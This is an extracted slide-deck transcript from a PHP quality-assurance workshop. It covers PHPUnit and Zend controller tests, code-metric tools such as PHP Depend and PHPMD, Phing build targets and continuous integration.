JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml

<?xml version="1.0"?><response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string></response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}

Page 140: Workshop quality assurance for php projects - phpbelfast

Good implementation?

Page 141: Workshop quality assurance for php projects - phpbelfast

Controller Testing

Page 142: Workshop quality assurance for php projects - phpbelfast

Our form flow

Page 143: Workshop quality assurance for php projects - phpbelfast

Setting up ControllerTest<?php

class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{

public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); }}

Page 144: Workshop quality assurance for php projects - phpbelfast

Testing if form is on pagepublic function testIndexAction(){ $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1);}

Page 145: Workshop quality assurance for php projects - phpbelfast

Test processingpublic function testProcessAction(){ $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']);}

Page 146: Workshop quality assurance for php projects - phpbelfast

REMARK

• data providers can be used- to test valid data- to test invalid data• but we know it’s taken care of our model- just checking for error messages in form

Page 147: Workshop quality assurance for php projects - phpbelfast

Test if we hit homepublic function testSuccessAction(){ $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/');}

Page 148: Workshop quality assurance for php projects - phpbelfast

Running the tests

Page 149: Workshop quality assurance for php projects - phpbelfast

Testing it all

Page 150: Workshop quality assurance for php projects - phpbelfast

Testing it all

Page 151: Workshop quality assurance for php projects - phpbelfast

Our progress report

Page 152: Workshop quality assurance for php projects - phpbelfast

Conclusion

Page 153: Workshop quality assurance for php projects - phpbelfast

• unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote

Page 154: Workshop quality assurance for php projects - phpbelfast

Fork this code

http://github.com/DragonBe/zftest

Page 155: Workshop quality assurance for php projects - phpbelfast

Measuring

Page 156: Workshop quality assurance for php projects - phpbelfast

Code Analysis

Page 157: Workshop quality assurance for php projects - phpbelfast

Questions

• how stable is my code?• how flexible is my code?• how complex is my code?• how easy can I refactor my code?

Page 158: Workshop quality assurance for php projects - phpbelfast

Answers

• PHPDepend - Dependency calculations• PHPMD - Mess detections and code “smells”• PHPCPD - Copy/paste detection• PHPCS - PHP_CodeSniffer

Page 159: Workshop quality assurance for php projects - phpbelfast

PHP Depend

Page 160: Workshop quality assurance for php projects - phpbelfast

What?

• generates metrics• measure health• identify parts to improve (refactor)

Page 161: Workshop quality assurance for php projects - phpbelfast

pdepend pyramid

Page 162: Workshop quality assurance for php projects - phpbelfast

• CYCLO: Cyclomatic Complexity• LOC: Lines of Code• NOM: Number of Methods• NOC: Number of Classes• NOP: Number of Packages• AHH: Average Hierarchy Height• ANDC: Average Number of Derived Classes

• FANOUT: Number of Called Classes• CALLS: Number of Operation Calls

Page 163: Workshop quality assurance for php projects - phpbelfast

Cyclomatic Complexity

• metric calculation• execution paths• independent control structures- if, else, for, foreach, switch case, while, do, …• within a single method or function• more info- http://en.wikipedia.org/wiki/

Cyclomatic_complexity

Page 164: Workshop quality assurance for php projects - phpbelfast

Average Hierarchy Height

The average of the maximum length from a root class to its deepest subclass

Page 165: Workshop quality assurance for php projects - phpbelfast

pdepend pyramid

Inheritance

few classes derived from other classes

lots of classes inherit from other classes

Page 166: Workshop quality assurance for php projects - phpbelfast

pdepend pyramid

Size and complexity

Page 167: Workshop quality assurance for php projects - phpbelfast

pdepend pyramid

Coupling

Page 168: Workshop quality assurance for php projects - phpbelfast

pdepend pyramid

High value

Page 169: Workshop quality assurance for php projects - phpbelfast

pdepend-graph

graph  about  stability:  a  mix  between  abstract  and  concrete  classes

Page 170: Workshop quality assurance for php projects - phpbelfast
Page 171: Workshop quality assurance for php projects - phpbelfast
Page 172: Workshop quality assurance for php projects - phpbelfast

PHP  Depend

Page 173: Workshop quality assurance for php projects - phpbelfast

PHP Mess Detection

Page 174: Workshop quality assurance for php projects - phpbelfast

What?

• detects code smells- possible bugs- sub-optimal code- over complicated expressions- unused parameters, methods and properties- wrongly named parameters, methods or properties

Page 175: Workshop quality assurance for php projects - phpbelfast

PHPMD  in  acEon

Page 176: Workshop quality assurance for php projects - phpbelfast

PHP Copy/Paste Detection

Page 177: Workshop quality assurance for php projects - phpbelfast

What?

• detects similar code snippets- plain copy/paste work- similar code routines• indicates problems- maintenance hell- downward spiral of disasters• stimulates improvements- refactoring of code- moving similar code snippets in common routines

Page 178: Workshop quality assurance for php projects - phpbelfast

PHP CodeSniffer

Page 179: Workshop quality assurance for php projects - phpbelfast

Required evil

• validates coding standards- consistency- readability• set as a policy for development• reports failures to meet the standard- sometimes good: parentheses on wrong line- mostly bad: line exceeds 80 characters❖ but needed for terminal viewing of code• can be set as pre-commit hook- but can cause frustration!!!

Page 180: Workshop quality assurance for php projects - phpbelfast

Performance Analysis

Page 181: Workshop quality assurance for php projects - phpbelfast

https://twitter.com/#!/andriesss/status/189712045766225920

Page 182: Workshop quality assurance for php projects - phpbelfast

Automating

Page 183: Workshop quality assurance for php projects - phpbelfast

Key reason

“computers are great at doing repetitive tasks very well”

Page 184: Workshop quality assurance for php projects - phpbelfast

Repetition

• syntax checking• documenting• testing• measuring

Page 185: Workshop quality assurance for php projects - phpbelfast
Page 186: Workshop quality assurance for php projects - phpbelfast

Why Phing?

• php based (it’s already on our system)• open-source• supported by many tools• very simple syntax• great documentation

Page 187: Workshop quality assurance for php projects - phpbelfast

Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">

<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>

Page 188: Workshop quality assurance for php projects - phpbelfast

<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">

<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>

Structure of a build

<project name="Application build" default="phplint">

Page 189: Workshop quality assurance for php projects - phpbelfast

<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">

<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>

Structure of a build

<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />

Page 190: Workshop quality assurance for php projects - phpbelfast

<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">

<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>

Structure of a build

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

Page 191: Workshop quality assurance for php projects - phpbelfast

<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">

<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>

Structure of a build

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>

Page 192: Workshop quality assurance for php projects - phpbelfast

<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">

<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>

Structure of a build

</project>

Page 193: Workshop quality assurance for php projects - phpbelfast

build.propertiesproject.title=WeCyclephpbook:qademo dragonbe$ cat build.properties # General settingsproject.website=http://wecycle.localproject.title=WeCycle

# AB Testing propertiesabrequests=1000abconcurrency=10

Page 194: Workshop quality assurance for php projects - phpbelfast

local.propertiesproject.website=http://qademo.localabrequests=1000abconcurrency=10

db.username=qademo_userdb.password=v3rRyS3crEtdb.hostname=127.0.0.1db.dbname=qademo

Page 195: Workshop quality assurance for php projects - phpbelfast

Let’s  run  it

Page 196: Workshop quality assurance for php projects - phpbelfast

Artifacts

• some tools provide output we can use later• called “artifacts”• we need to store them somewhere• so we create a prepare target• that creates these artifact directories (./build)• that gets cleaned every run

Page 197: Workshop quality assurance for php projects - phpbelfast

Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>

Page 198: Workshop quality assurance for php projects - phpbelfast

phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>

Page 199: Workshop quality assurance for php projects - phpbelfast

PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>

Page 200: Workshop quality assurance for php projects - phpbelfast

PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>

Page 201: Workshop quality assurance for php projects - phpbelfast

Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>

Page 202: Workshop quality assurance for php projects - phpbelfast

PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>

Page 203: Workshop quality assurance for php projects - phpbelfast

PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>

Page 204: Workshop quality assurance for php projects - phpbelfast

PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>

Page 205: Workshop quality assurance for php projects - phpbelfast

Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>

Page 206: Workshop quality assurance for php projects - phpbelfast

Other things to automate

• server stress-testing with Apache Benchmark• database deployment with DBDeploy• package code base with Phar• transfer package to servers with- FTP/SFTP- scp/rsync• execute remote commands with SSH• … so much more

Page 207: Workshop quality assurance for php projects - phpbelfast

Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version">

<!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" />

<!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/>

<!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>

Page 208: Workshop quality assurance for php projects - phpbelfast

Build  it

Page 209: Workshop quality assurance for php projects - phpbelfast

Continuous Integration

Page 210: Workshop quality assurance for php projects - phpbelfast
Page 211: Workshop quality assurance for php projects - phpbelfast
Page 212: Workshop quality assurance for php projects - phpbelfast
Page 213: Workshop quality assurance for php projects - phpbelfast
Page 214: Workshop quality assurance for php projects - phpbelfast
Page 215: Workshop quality assurance for php projects - phpbelfast
Page 216: Workshop quality assurance for php projects - phpbelfast
Page 217: Workshop quality assurance for php projects - phpbelfast
Page 218: Workshop quality assurance for php projects - phpbelfast

Now you are a winner!

Page 219: Workshop quality assurance for php projects - phpbelfast

Team Works!

Page 220: Workshop quality assurance for php projects - phpbelfast
Page 221: Workshop quality assurance for php projects - phpbelfast
Page 222: Workshop quality assurance for php projects - phpbelfast
Page 223: Workshop quality assurance for php projects - phpbelfast
Page 224: Workshop quality assurance for php projects - phpbelfast
Page 225: Workshop quality assurance for php projects - phpbelfast

Conclusion

Page 226: Workshop quality assurance for php projects - phpbelfast

Get your informationin a consistent, automated wayand make it accessible for the team

More people can better safeguard the code!

Page 228: Workshop quality assurance for php projects - phpbelfast

Recommended  reading

• OOD  Quality  Metrics-­‐ Robert  Cecil  Mar@n

Free

h=p://www.objectmentor.com/publicaEons/oodmetrc.pdf

Page 229: Workshop quality assurance for php projects - phpbelfast

#PHPBNL14January 25 - 26, 2014

Page 230: Workshop quality assurance for php projects - phpbelfast

Feedback/Questions

Michelangelo van Dam

[email protected]

@DragonBe

Page 231: Workshop quality assurance for php projects - phpbelfast

CreditsI’d like to thank the following people for sharing their creative commons picturesmichelangelo: http://www.flickr.com/photos/dasprid/5148937451birds: http://www.flickr.com/photos/andyofne/4633356197safeguarding: http://www.flickr.com/photos/infidelic/4306205887/bugs: http://www.flickr.com/photos/goingslo/4523034319behaviour: http://www.flickr.com/photos/yuan2003/1812881370prevention: http://www.flickr.com/photos/robertelyov/5159801170progress: http://www.flickr.com/photos/dingatx/4115844000workout: http://www.flickr.com/photos/aktivioslo/3883690673measurement: http://www.flickr.com/photos/cobalt220/5479976917team spirit: http://www.flickr.com/photos/amberandclint/3266859324time: http://www.flickr.com/photos/freefoto/2198154612continuous reporting: http://www.flickr.com/photos/dhaun/5640386266deploy packages: http://www.flickr.com/photos/fredrte/2338592371coffee: http://www.flickr.com/photos/nalundgaard/3167849171chris hartjes: http://www.flickr.com/photos/akrabat/8421560178mount everest: http://upload.wikimedia.org/wikipedia/commons/0/00/Nepal_Mount_Everest_And_Ama_dablam.jpgeverybody likes this: http://www.flickr.com/photos/19marksdesign/5268732048race cars: http://www.flickr.com/photos/robdunckley/3781995277protection dog: http://www.flickr.com/photos/boltofblue/5724934828gears: http://www.flickr.com/photos/freefoto/59825499381st place: http://www.flickr.com/photos/evelynishere/3417340248elephpant: http://www.flickr.com/photos/drewm/3191872515

Page 232: Workshop quality assurance for php projects - phpbelfast

Thank you